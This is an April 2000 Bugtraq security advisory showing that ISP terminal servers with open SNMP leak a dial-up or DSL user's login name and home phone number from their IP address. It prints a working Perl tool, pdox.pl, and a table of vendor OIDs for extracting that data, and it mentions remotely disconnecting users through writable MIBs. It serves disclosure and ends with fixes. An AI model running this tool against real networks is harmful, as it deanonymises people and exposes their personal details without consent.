Bugtraq mailing list archives

Network Security and Privacy


From: javaman () GHETTO ORG (JavaMan)
Date: Wed, 19 Apr 2000 08:08:39 -0400


Brief Preface:

We have found that three major backbone providers are vunerable to this
sort of probing.  When notified, they locked down their network, and
threatened legal action if their names were mentioned in a bugtraq post.

Javaman

----

Title: Lack of Network Security and Privacy Implications

Authors: Lumpy and Javaman, of Philtered.Net

Abstract:
        
Introduction:

        Although prized by many users of the Internet, the concept of privacy
has been threatened from many angles in recent years.  With the rise of free
web-based e-mail and advertisement-sponsored dialup, users have been providing
more personal information about their shopping habits and interests, but rarely
anything that can trace them to their real-life identity, such as a Internet
login name, real name, home phone number, or SSN.  A team from Philtered.Net
has recently found that this has not been the case for many years.  Due to
security issues that have been long known and long unresolved on the network
level, it is possible to retrieve a user's ISP login name remotely, and on
some pieces of hardware, their home phone number, without their knowledge.
The only information required to preform this transaction is the user's IP
address, which can be retrieved via logs of recently visited web pages, or,
not surprisingly, from the headers of e-mails sent via services such as
HotMail.

        In our eyes, this is a problem.
        
Background:

        Every machine on the Internet, short of some private networks, is
addressed via an IP address.  This IP address is a unique identity for the
computer for the duration of connection to the network.  When communication
with another system on the Internet is conducted, each packet sent is tagged
with the recipient and the sender's IP address.  Consequently, it is
possible to route backwards to the end user's machine.  This is not important
for our discussion.
        Enter SNMP, the Simple Network Management Protocol.  This protocol
allows users of network equipment, (ie. Network Administrators), to remotely
query the state of the machine to test for system load, utilization, and
configuration.  This technique facilitates centralized network monitoring, an
important capability for high-reliability networks.
        The problem, however, is that many of those who run these networks
neglected to provide for the proper security restrictions.  Because of this,
remote unauthorized users can query the state of private networks.
        This is not a new problem.  This is a very old issue that has been
ignored for too long.  What is new, however, is the large number of users who
are now on dialup access, and consequently, dialed into unsecured servers.

        Additionally, no one released a tool that specifically targets
personal information in this way -- until now.

        A member of Phitered.Net has written a tool using Perl and the
CMU-SNMP library that can extract personal information of the end user via
connecting to their network access server.  This also means that no connection
to the end user is ever made; the only network connection made is to the
first machine after the end user.

Detail:

        To show how simple it is to gain information, via the Internet,
based simply on their current IP address, here is a step by step description
on how we might gain personal information about a user with the IP
address 1.2.3.4.  It is important to note that in most cases our target
will not even know that they are a target of inquiry, since the procedure
does not specify for any packets to be sent to their personal computer.
        For the most simple attack, we need to know the address of the
device that our target is connected through, that is to say, the first
machine that each packet to the Internet is being routed through.  If we
executed a 'traceroute' to the users address, they could surely see our
traffic.  However, because most of the end user access devices (ie terminal
servers, DSL access units) handle many users, it is usually possible to
trace to an IP address just one or two addresses from our target.  In this
case, we will trace to 1.2.3.5.
        Our theoritical traceroute shows us that the hop just before 1.2.3.4
should be 1.2.3.1.  If SNMP is enabled on this device, it is often possible
to locate both the username and phone number of the end user.  The phone
number and username are extracted from the MIB from the end user device.
        By requesting the system description of the end unit via SNMP, we can
quickly locate the MIB, the connected client's address table.  Once we know
where the IP address of our target is located in the table, we can use its
location in that table to determine other relevant information about the
end user.
        The theoritical attacker can often determine the speed and type of
connection, the username used on the ISP, idle time, time online, and
most disturbingly, other personal information, such as the phone number of
the end user.
        In some cases, the MIB is also writable by remote users.  In this
situation, remote users can maliciously disconnect the end user, or alter
their data routes.  In some cases, the entire device that the end user is
connected to can be powered down or rebooted.

Testing if you are vunerable:

        Below is the Perl scipt we used to demonstrate the issue.
Please use this to only test your own network.

--- Start of pdox.pl ---

#!/usr/bin/perl
#
## By: lumpy_
#
## Description:
##      Polls SNMP data on terminal servers.
#
## Requires:
##
##      UCD-SNMP
##      - By: Wes Hardaker
##      - ftp://ucd-snmp.ucdavis.edu:/ucd-snmp.tar.gz
##      Net::SNMP
##      - By: David M. Town
##      - ../CPAN/modules/by-module/Net/Net-SNMP-2.00.tar.gz
#
## Many thanks to:
## Javaman, Sangfroid, miff, floydy, negapluck, sirsyko, hyenur, and hal
##
#

use Net::SNMP;

sub syntax {
        print "Syntax:\n\tpdox _NAS_DEVICE_ _IP_ [community]\n\n";
        exit(1);
}

sub snmpget {
        ($oid_to_get)=@_;
        ($session, $error) = Net::SNMP->session(
                Hostname => $hostname, Community => $community, Port => $port );
        if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
        if (!defined($response = $session->get_request($oid_to_get))) {
        printf("## %s\n", $session->error); $session->close;exit(1);}
        $retval=$response->{$oid_to_get};
        $session->close;
        $retval=unpack("A*",pack("H*",$retval)) if (retval =~ /^0x/);
 return($retval);
}

sub snmpwalk {
        ($oid_to_get)=@_;
        ($session, $error) = Net::SNMP->session(
                Hostname => $hostname, Community => $community, Port => $port );
        if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
        if (!defined($response = $session->get_table($oid_to_get))) {
        printf("## %s\n", $session->error); $session->close;exit(1);}
        $retval=$response;
        $session->close;
 return($retval);
}

## Main

$hostname  = @ARGV[0];
$ip_were_hunting = @ARGV[1];
$community = @ARGV[2] || 'public';
$port      = 161;

if (!$hostname || !$ip_were_hunting) { syntax; }

print "\n### pdox 2.0\n";

$sysdesc=snmpget('1.3.6.1.2.1.1.1.0');

print "## Got System Description: ",substr($sysdesc,0,50),"\n";

$found=0;
open(DAT,"pdox.dat");
while(<DAT>) {
        next if (/^#/);
        @parts=split;
        if ($sysdesc =~ /@parts[0]/i) {$found++; last;}
        }

if (!($found)) { print "## Unsupported device!\n"; exit(1); }

$userlist=snmpwalk(@parts[1]);

$found=0;
foreach ( sort keys %$response ) {
   if ($response->{$_} eq $ip_were_hunting)
        {$location=$_; substr($location,0,length(@parts[1]))=""; $found++;
         print "## Found $ip_were_hunting in mib. location: $location\n";
        }
}

if (!($found)) { print "## Couldnt find user in mib!\n"; exit(1); }

if (defined(@parts[2])) {
        print "## Username: ",snmpget(@parts[2].$location),"\n";}
if (defined(@parts[3])) {
        print "## Phone: ",snmpget(@parts[3].$location),"\n";}

print "\n";

exit 0;

--- End of pdox.pl ---

--- Start of pdox.dat ---

#Vendor User Address Phone
livingston 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
lucent 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
ascend 1.3.6.1.4.1.529.12.2.1.4 1.3.6.1.4.1.529.12.2.1.3
nortel 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
shiva 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
cisco 1.3.6.1.4.1.9.10.19.1.3.1.1.4 1.3.6.1.4.1.9.10.19.1.3.1.1.3
annex-pri 1.3.6.1.4.1.15.2.11.3.1.6 1.3.6.1.4.1.15.2.16.1.1.1.1 1.3.6.1.4.1.15.2.16.1.1.1.2
annex 1.3.6.1.4.1.15.2.3.7.1.51 1.3.6.1.4.1.15.2.3.8.1.2
hiper 1.3.6.1.4.1.429.4.11.2.2.1.7 1.3.6.1.4.1.429.4.11.2.1.1.3
cvx .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29
aptis .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29

--- End of pdox.dat ---

Fix:
        - Block SNMP access.
        - Change community names.
        - Filter access to network hardware.

Conclusion:

        It is important to note that these security holes are as easy to
        exploit on DSL connections as they are wit dialup connections.

        These problems are easily located by security scanning
        software.  ISPs need to be aware that they are not exempt from
        needing constant security audits in order to ensure QoS.

Lumpy, Javaman



Current thread: